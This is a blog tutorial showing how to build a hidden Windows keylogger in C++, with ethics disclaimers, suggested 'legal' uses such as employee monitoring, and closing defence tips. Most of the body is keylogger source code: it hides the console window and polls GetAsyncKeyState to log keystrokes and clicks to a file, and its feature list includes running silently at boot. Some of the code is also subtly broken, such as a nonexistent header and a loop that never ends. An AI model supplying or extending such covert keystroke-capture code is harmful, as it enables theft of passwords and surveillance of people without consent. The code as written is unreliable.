How to make a Keylogger and its legal uses

Sabbir Mollah
NSUACMSC
6 min readJun 8, 2018

--

At the first day of my Engineering Calculus class, my teacher quoted:

“Let us do our engineering for the benefit of mankind”

Before getting our hands dirty by making a keylogger it would be very important for us to go through the definitions and the uses of a keylogger.

What is a Keylogger?

As the name suggests, a keylogger is a software (it could also be a hardware device!) that keeps track of our activities, such as key strokes, mouse clicks, web browsing history. A popular tool among the black hat hackers. They use these kind of tools to get hand on login information of their ‘victims’. But as we are the real programmers, every piece of code we write is a holy piece of uniqueness that gives us satisfaction. In no way we should use these tools to harm other people. As we will discuss later on, we might face some event where we would need our own keylogger. And many developers would choose a third party keylogger. Often time these third party tools are like double edged swords. Meaning we can’t trust these tools unless they are open source. So it is very important for us to know how these keyloggers are written.

Where will you need to use your keylogger?

Here are some scenarios where you may need a keylogger:

  1. You are the Manager of a company and want to keep track of your employees’ activities on the office computers.
  2. You need to write a program that requires to know some data from the user even when they are out of your program. (Let your users know what kind of information you are tracking).
  3. To track your own computer. Maybe you ran into some problem and want to let an expert know how does the problem occur.

Let me repeat again, you should never use a keylogger on someone else’s computer to steal their credentials.

Let’s get our hands dirty

We are going to use C++ to make this Keylogger, and it will work on windows only. Since different OS handles these kind of input events differently, it would be really difficult to make a platform independent key logger. If you prefer Linux you may read this thread. Also In case you prefer python over C++ you can check out the pyHook package.

Functions:

Here are the functions that our key logger will have:

  1. It’s a command line program that can read Windows events (Such as key presses).
  2. The program can run silently, that is you won’t be able to see the command line.
  3. The program starts with Windows Boot.
  4. It stores the log inside a file that is named as the current time of when the pc logs in.

Pheww… It’s finally time to get started

Okay, we will start by looking at a function called FreeConsole(); that exists inside Windows.h which will make our program go ‘silent’. So we got to call this function as the first line in of our program.

int main(){
FreeConsole();
...

Now we want our program to be able to get the current time and put the time as string inside a variable. Even if it is not part of this topic, I’m still covering this function for the sake of completion.

int main(){
FreeConsole();
string fileName;
getTime(fileName);
//Getting File name as current time

Here is the getTime() function implementation:

void getTime(string& name){
time_t rawtime;
struct tm * timeinfo;
char buffer[80];
time (&rawtime);
timeinfo = localtime(&rawtime);
strftime(buffer,
sizeof(buffer),"%d-%m-%Y--%I-%M-%S.txt",timeinfo);
string str(buffer);
name = str;
}
//Include <ctime> to work with the various time functions used here

Then add these lines into your main function:

char i;
while(true){
Sleep(10);
for(i=8; i<=255; i++){
if(GetAsyncKeyState(i) & 0x0001 ){
Save(i,fileName);
}
}
}

To be honest, we have gone all the trouble just to give our keylogger a structure. But the main task is done by this GetAsyncKeyState(i) guy here.
We will go more into that later. Let’s just assume that this function gets the current key pressed event and saves the key value inside the variable i.

First let’s go into the Save(int _key, string fileName) function.

int Save(int _key, string fileName){ofstream myFile(fileName.c_str(), ios_base::app | ios_base::out);myFile<<(char)_key;}
//Don't forget to include <filestream>

This is a fairly simple function. It will create a file with the name contained in the string fileName. In case the file already exists, it will simply append the key value to that file.

Now, if you compile this program, you will see that it works, however, it can detect only keys pressed from A to Z. Other buttons such as MOUSERIGHTCLICK or SHIFT can’t be recognized. To be able to read other keys you can can change the file writing part inside the Save() function like this:

switch(_key){	case VK_LBUTTON:		myFile<< "[Mouse Left Clicked]"<<" ";		break;	default:		myFile<<(char)_key;}

Here VK_LBUTTON is a macro called virtual key. This is equivalent to the left mouse click. To find out other Virtual Key macros look into this Microsoft link.

The GetAsyncKeyState() Function

We had previously left the most important line in our program unexplained.

if(GetAsyncKeyState(i) & 0x0001 ){
Save(i,fileName);
}

Beside saving the pressed button in the parameter i, this function also returns a 16 bit integer. This integer’s 15th and 0th bits are interesting. They each indicate a different state. That is:

0th bit is 1 — the key has just been pressed
15th bit is 1 — the key is currently held down

By bitwise multiplying this returned value with 0x0001 (Equivalent to decimal 1) we are actually checking whether the 0th value is 1 or not. That is whether the button has just been pressed or not. The if condition returns to false (Actually an integer 0) when the key i has not been pressed.

You may also ask why we had to put Sleep(10) in the program. Well, you could actually avoid it. It has been added to give the program some time before it starts reiterating all possible characters. You will notice that the program is much more stable for this little waiting time.

If you could follow up the whole writing, CONGRATULATIONS, you now have your own keylogger. As you have seen, you can now tweak it here and there and add other features to it.

Rise your defense

Shield

There are lots of bad people in the real world. Hence, there are lots of apps designed to steal your information for their personal gains. For these scums you should not be defenseless. You can get infected from a downloaded software, an USB device or through mail.

The rule of thumb is to never (NEVER) download binary files (.exe files for example) from not trusted sources. Use as much open-source programs as you can. Because lots of people have their eyes on these programs, and there is low chance of these programs containing some key logging mechanism.

Make the habit of reading the User-Agreement files of any program you use. Very often you give access to very sensitive data to the developers by clicking “I Agree” without knowing what you are agreeing on. This makes it legal for them to get some of your data that you might not want them to get.

Check regularly on the apps that can start with “Startup”. In windows you can find these apps inside the “Startup” tab in the Task Manger.

Stop any suspicious looking process inside your Task Manager.

Don’t click on any unknown links that you find on social media or inside emails.

Summing up

With great power comes great responsibility. I feel, engineers have this great power to change the World for the better or worse. However, a person that follows only his self interest can never be called an engineer. Criminal would be a more suited word for them.

--

--